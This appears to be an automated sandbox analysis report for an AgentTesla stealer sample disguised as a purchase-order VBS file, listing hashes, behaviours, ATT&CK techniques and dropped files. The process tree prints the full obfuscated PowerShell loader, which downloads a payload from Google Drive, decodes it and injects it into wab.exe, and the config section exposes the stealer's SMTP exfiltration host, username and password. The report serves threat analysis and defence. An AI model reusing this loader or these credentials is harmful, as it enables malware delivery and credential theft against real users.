agenttesla | 137dba4596af3536acacb3ce1190517061eecc9703c1e3533b35319b99fcdc60

General

Target

LCS-155-44 01_General_Purchase_Order_Terms_and_Conditions.vbs
Size

424KB
MD5

daa48dda60b2f2d7095a7190a75bdda8
SHA1

b99a7214799a5f1680e49f5a2f80faf13537c013
SHA256

137dba4596af3536acacb3ce1190517061eecc9703c1e3533b35319b99fcdc60
SHA512

dad8a466a3dd01c5231c736399110cfdc0a02090368d66a8fcb6a527add1c1a1a9c0307823b5424ac4ebe11f9a0a0b3f029e6f7cfd4699945d5d776d4d2f8053
SSDEEP

6144:z74t1fXGwzkAitPzmeI9OQYypkHkSVdtxQ+5iYgbAL0WMhw19+z0yhtHn9eq/+4X:zAJv0ayfOb64MRycngoavbN0vBrbjkLt

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.rapvision.co.id
Port:
587
Username:
[email protected]
Password:
QHD)}d5k]jY%
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2340	powershell.exe
7	2340	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com
9	drive.google.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	api.ipify.org
14	api.ipify.org
15	ip-api.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2068	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2504	powershell.exe
2068	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2504 set thread context of 2068	2504	powershell.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2340	powershell.exe
2504	powershell.exe
2504	powershell.exe
2068	wab.exe
2068	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2504	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2504	powershell.exe
Token: SeDebugPrivilege	2068	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2664 wrote to memory of 2340	2664	WScript.exe	29
PID 2664 wrote to memory of 2340	2664	WScript.exe	29
PID 2664 wrote to memory of 2340	2664	WScript.exe	29
PID 2340 wrote to memory of 2472	2340	powershell.exe	31
PID 2340 wrote to memory of 2472	2340	powershell.exe	31
PID 2340 wrote to memory of 2472	2340	powershell.exe	31
PID 2340 wrote to memory of 2504	2340	powershell.exe	32
PID 2340 wrote to memory of 2504	2340	powershell.exe	32
PID 2340 wrote to memory of 2504	2340	powershell.exe	32
PID 2340 wrote to memory of 2504	2340	powershell.exe	32
PID 2504 wrote to memory of 2756	2504	powershell.exe	33
PID 2504 wrote to memory of 2756	2504	powershell.exe	33
PID 2504 wrote to memory of 2756	2504	powershell.exe	33
PID 2504 wrote to memory of 2756	2504	powershell.exe	33
PID 2504 wrote to memory of 2068	2504	powershell.exe	34
PID 2504 wrote to memory of 2068	2504	powershell.exe	34
PID 2504 wrote to memory of 2068	2504	powershell.exe	34
PID 2504 wrote to memory of 2068	2504	powershell.exe	34
PID 2504 wrote to memory of 2068	2504	powershell.exe	34
PID 2504 wrote to memory of 2068	2504	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\LCS-155-44 01_General_Purchase_Order_Terms_and_Conditions.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Critic = 1;$Saddelmagerarbejder='Su';$Saddelmagerarbejder+='bstrin';$Saddelmagerarbejder+='g';Function Overindulgently($blyanttegningen){$Tangier=$blyanttegningen.Length-$Critic;For($Harmoniseringsndringer=1;$Harmoniseringsndringer -lt $Tangier;$Harmoniseringsndringer+=2){$Teletjenesterne+=$blyanttegningen.$Saddelmagerarbejder.Invoke( $Harmoniseringsndringer, $Critic);}$Teletjenesterne;}function Tights($Pseudoofficial){. ($Arkivdannelse) ($Pseudoofficial);}$Rutebaaden=Overindulgently 'HM o.zEi lIl,a,/U5 .E0, .( W iDnGdBo wDs. ,NGTH G1B0L..0 ;B MWCi nL6 4B;S x.6T4.;K RrRv :,1,2A1F..0T)K AG eHcSkHoE/K2S0 1 0 0R1 0M1S MF iOr e f.oTxV/L1 2R1 . 0N ';$Skgpantebreves=Overindulgently 'SUSs eFrR- A,g.eLn,tK ';$idiologism=Overindulgently ' hRt tRpIsi:C/ /Td rWiOvPeP.Sg oToIgElSes.Zc oTmS/AuOcC?Geax pFo r tO=,d oJw.nUlHoTaSd,& i,d =V1e7ClNm r h.WT8.cKG l 7Sv,n x NUrTF J W a r 8.y,V.WBjBtE_.M B.H,C ';$Syndfloderne=Overindulgently ',> ';$Arkivdannelse=Overindulgently 'Sipe xJ ';$Frtidspensionisten='Phosphorical';Tights (Overindulgently 'SS eRt.- CTo.n.tTe nRtE - PSaRt hG TU:M\SU n,p a t eSr.n a,l,. tSx tA - VDa lSuSeK S$BFVr t i,d,sFpTeEnisBi,oSnFiRs.t e nG;S ');Tights (Overindulgently ',i.f ( t eFsStF-MpUaHt h TP: \BUUnNpWaMtue rLnBa l . t,xWt.) {SetxsiHt.}.; ');$Bookmark = Overindulgently 'SeBcMh,o ,% aTpFpRdAaOtOau%T\Bt i dMs b eHsLt eHm t,.SS m,aS B&T& .e cMh oF $S ';Tights (Overindulgently ' $ gSl.oGb aGl.: L.nTgFs e,l.s.fGuPlNd ess =.( c,mKdD C/Rc N$RB.o.oVkUmGaIrNkD) ');Tights (Overindulgently ' $.gil o b arl : S k,e,l,l.eBtK=g$Gi dsiSo lCo g.i sUmd..s.p,lDiLtS(E$ SFy nKd f.l oRdTeCr,nOeM)K ');$idiologism=$Skellet[0];Tights (Overindulgently 'l$ g l.o bAaAlS:RONv eJr cVo nUfMiSd ernSc.eIs,1 6.7U=BN e wk-MOLbAj eOcVtE DS y sNtPeDmS.FN eutD.FW,e bSC l,i,e n,tP ');Tights (Overindulgently 'S$,OGvBe r c.o nEfPi dHeSnPcTeNsC1I6T7G..H e aHdSe,r,sU[ $ASFk gUp,amnSt,eSb,rDe vOe sO]U=,$YRKu t.eUb aOadd.eHn ');$Tolvfingertarmene=Overindulgently ',OAv elrsc o nSf.iAd eGn c eBs,1T6P7 . DAoFwSn,lPoRa d FTiflAe ( $ iSd i oAlEo gTiHsNm,, $mB e gLgPakr w eGeBdS)D ';$Tolvfingertarmene=$Lngselsfuldes[1]+$Tolvfingertarmene;$Beggarweed=$Lngselsfuldes[0];Tights (Overindulgently '.$FgTlRo,b aElM:UR.e,vSaVlLi,dMe rGe ngd eO=I(sTnePs t,-.P aLtVh, ,$jBLe.gAgAaFr wCe eBd )C ');while (!$Revaliderende) {Tights (Overindulgently 'S$Rg l o,b aEl,:FS.iUp,pFe nUi,p =K$St r,uUe ') ;Tights $Tolvfingertarmene;Tights (Overindulgently 'OS,t.aKr t -USGl e eEp, .4F ');Tights (Overindulgently 'E$Og,lUoDb,aTlV: RHeSv.a.lHiRd e rKe nDd eS=.(STAeLs tF- PRa.tFhG $DB e.gCg aUr whe efd,)U ') ;Tights (Overindulgently 'P$Pg,l o bFa lP:MA dSr e a m.= $ g.lvo bBaBl.:KG.aurSd e rGo,bOe rDn.eAs.+ +S%.$.SSk e,lcl eVtN.fc.oSu nCtS ') ;$idiologism=$Skellet[$Adream];}$Thaisilkens=345059;$Grundlovsforhr=26762;Tights (Overindulgently ' $ gDl oHb a.lR:,BBe n a rTb elj.dge r.s F=A G e,tA-.CDoKn,t,e nUtM P$ Bie,g g a r wAe e dL ');Tights (Overindulgently 'B$Eg l oRbSa,l,:Pv.uSltg,a rFi z e O=. [ SAyEs t,eSm,.SCRo.nGvTeBr.tU]P:A: F rPo mVB aTsVe 6.4ASMtDr i n.gA(.$NB e nUaIrSb,eFjcd ecr.s ) ');Tights (Overindulgently 'D$ g,l,o bVa lB:EFIo rVm e r n,eMsK .=A T[ S y sPt emmO.OTBe xKtC. E n.cEoBdDiBn gU].:R:SAAS CiI I,.DG estHSRtDrTiPnEgF( $Pv uBl g aSr iSz e ) ');Tights (Overindulgently 'A$Pg.l.o bGaRlB:LI n,tMr uPd r,eSsRs =U$TF,oBr m,eSrAn,eBsS.,s u b.sJtDr i,nBg (.$UT,hCaHiEs i l k e.n.s ,S$ GUrSu.n.dSl,o v.sTfKo.rRhNr ). ');Tights $Intrudress;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\tidsbestemt.Sma && echo $"
    3⤵
    PID:2472
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Critic = 1;$Saddelmagerarbejder='Su';$Saddelmagerarbejder+='bstrin';$Saddelmagerarbejder+='g';Function Overindulgently($blyanttegningen){$Tangier=$blyanttegningen.Length-$Critic;For($Harmoniseringsndringer=1;$Harmoniseringsndringer -lt $Tangier;$Harmoniseringsndringer+=2){$Teletjenesterne+=$blyanttegningen.$Saddelmagerarbejder.Invoke( $Harmoniseringsndringer, $Critic);}$Teletjenesterne;}function Tights($Pseudoofficial){. ($Arkivdannelse) ($Pseudoofficial);}$Rutebaaden=Overindulgently 'HM o.zEi lIl,a,/U5 .E0, .( W iDnGdBo wDs. ,NGTH G1B0L..0 ;B MWCi nL6 4B;S x.6T4.;K RrRv :,1,2A1F..0T)K AG eHcSkHoE/K2S0 1 0 0R1 0M1S MF iOr e f.oTxV/L1 2R1 . 0N ';$Skgpantebreves=Overindulgently 'SUSs eFrR- A,g.eLn,tK ';$idiologism=Overindulgently ' hRt tRpIsi:C/ /Td rWiOvPeP.Sg oToIgElSes.Zc oTmS/AuOcC?Geax pFo r tO=,d oJw.nUlHoTaSd,& i,d =V1e7ClNm r h.WT8.cKG l 7Sv,n x NUrTF J W a r 8.y,V.WBjBtE_.M B.H,C ';$Syndfloderne=Overindulgently ',> ';$Arkivdannelse=Overindulgently 'Sipe xJ ';$Frtidspensionisten='Phosphorical';Tights (Overindulgently 'SS eRt.- CTo.n.tTe nRtE - PSaRt hG TU:M\SU n,p a t eSr.n a,l,. tSx tA - VDa lSuSeK S$BFVr t i,d,sFpTeEnisBi,oSnFiRs.t e nG;S ');Tights (Overindulgently ',i.f ( t eFsStF-MpUaHt h TP: \BUUnNpWaMtue rLnBa l . t,xWt.) {SetxsiHt.}.; ');$Bookmark = Overindulgently 'SeBcMh,o ,% aTpFpRdAaOtOau%T\Bt i dMs b eHsLt eHm t,.SS m,aS B&T& .e cMh oF $S ';Tights (Overindulgently ' $ gSl.oGb aGl.: L.nTgFs e,l.s.fGuPlNd ess =.( c,mKdD C/Rc N$RB.o.oVkUmGaIrNkD) ');Tights (Overindulgently ' $.gil o b arl : S k,e,l,l.eBtK=g$Gi dsiSo lCo g.i sUmd..s.p,lDiLtS(E$ SFy nKd f.l oRdTeCr,nOeM)K ');$idiologism=$Skellet[0];Tights (Overindulgently 'l$ g l.o bAaAlS:RONv eJr cVo nUfMiSd ernSc.eIs,1 6.7U=BN e wk-MOLbAj eOcVtE DS y sNtPeDmS.FN eutD.FW,e bSC l,i,e n,tP ');Tights (Overindulgently 'S$,OGvBe r c.o nEfPi dHeSnPcTeNsC1I6T7G..H e aHdSe,r,sU[ $ASFk gUp,amnSt,eSb,rDe vOe sO]U=,$YRKu t.eUb aOadd.eHn ');$Tolvfingertarmene=Overindulgently ',OAv elrsc o nSf.iAd eGn c eBs,1T6P7 . DAoFwSn,lPoRa d FTiflAe ( $ iSd i oAlEo gTiHsNm,, $mB e gLgPakr w eGeBdS)D ';$Tolvfingertarmene=$Lngselsfuldes[1]+$Tolvfingertarmene;$Beggarweed=$Lngselsfuldes[0];Tights (Overindulgently '.$FgTlRo,b aElM:UR.e,vSaVlLi,dMe rGe ngd eO=I(sTnePs t,-.P aLtVh, ,$jBLe.gAgAaFr wCe eBd )C ');while (!$Revaliderende) {Tights (Overindulgently 'S$Rg l o,b aEl,:FS.iUp,pFe nUi,p =K$St r,uUe ') ;Tights $Tolvfingertarmene;Tights (Overindulgently 'OS,t.aKr t -USGl e eEp, .4F ');Tights (Overindulgently 'E$Og,lUoDb,aTlV: RHeSv.a.lHiRd e rKe nDd eS=.(STAeLs tF- PRa.tFhG $DB e.gCg aUr whe efd,)U ') ;Tights (Overindulgently 'P$Pg,l o bFa lP:MA dSr e a m.= $ g.lvo bBaBl.:KG.aurSd e rGo,bOe rDn.eAs.+ +S%.$.SSk e,lcl eVtN.fc.oSu nCtS ') ;$idiologism=$Skellet[$Adream];}$Thaisilkens=345059;$Grundlovsforhr=26762;Tights (Overindulgently ' $ gDl oHb a.lR:,BBe n a rTb elj.dge r.s F=A G e,tA-.CDoKn,t,e nUtM P$ Bie,g g a r wAe e dL ');Tights (Overindulgently 'B$Eg l oRbSa,l,:Pv.uSltg,a rFi z e O=. [ SAyEs t,eSm,.SCRo.nGvTeBr.tU]P:A: F rPo mVB aTsVe 6.4ASMtDr i n.gA(.$NB e nUaIrSb,eFjcd ecr.s ) ');Tights (Overindulgently 'D$ g,l,o bVa lB:EFIo rVm e r n,eMsK .=A T[ S y sPt emmO.OTBe xKtC. E n.cEoBdDiBn gU].:R:SAAS CiI I,.DG estHSRtDrTiPnEgF( $Pv uBl g aSr iSz e ) ');Tights (Overindulgently 'A$Pg.l.o bGaRlB:LI n,tMr uPd r,eSsRs =U$TF,oBr m,eSrAn,eBsS.,s u b.sJtDr i,nBg (.$UT,hCaHiEs i l k e.n.s ,S$ GUrSu.n.dSl,o v.sTfKo.rRhNr ). ');Tights $Intrudress;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2504
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\tidsbestemt.Sma && echo $"
      4⤵
      PID:2756
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\06819HIHXAYOY29504CE.temp

Filesize
7KB

MD5
55f2578bfe2735597cc71a6394caca74

SHA1
2a431ab2eb6f3b1718527ed5b52e673b684d4199

SHA256
6aef4c0ec10031197f6e60a20b2f58da87e869becd073c7d27dfcdf494468e04

SHA512
fbbeacd9d7229b1f72f3be339aaab27278abdab21bc5ac8ddea685961ed98b2949b081741508a52fce15e0d6cc3c6d1820e69d666d1f9cb14ad615e1d424b0b1

Download Submit
C:\Users\Admin\AppData\Roaming\tidsbestemt.Sma

Filesize
484KB

MD5
37b5e04829f22394ecd93d96a6abb364

SHA1
1100d43b7f38319d657ccfdaa1c23b2fa9b8f787

SHA256
d81b1ebdbeacbeeb7ea1b5398ff1f2b2ff76a2386d23850f1c5ad0758475a2ac

SHA512
3c462bfc901eb7d66eb7875503b604b2b646857cac49a23713a066b8f8a5accadff453772b76285b769b01b6de7ec859338e416489dff38434cc17cdcb8a1915

Download Submit
memory/2068-41-0x0000000000990000-0x00000000009D2000-memory.dmp

Filesize
264KB

Download
memory/2068-39-0x0000000000990000-0x00000000019F2000-memory.dmp

Filesize
16.4MB

Download
memory/2340-7-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2340-8-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2340-4-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

Filesize
4KB

Download
memory/2340-14-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2340-16-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

Filesize
4KB

Download
memory/2340-6-0x0000000002A10000-0x0000000002A18000-memory.dmp

Filesize
32KB

Download
memory/2340-40-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2340-5-0x000000001B4B0000-0x000000001B792000-memory.dmp

Filesize
2.9MB

Download
memory/2504-15-0x00000000064A0000-0x00000000081E5000-memory.dmp

Filesize
29.3MB

Download

Analysis

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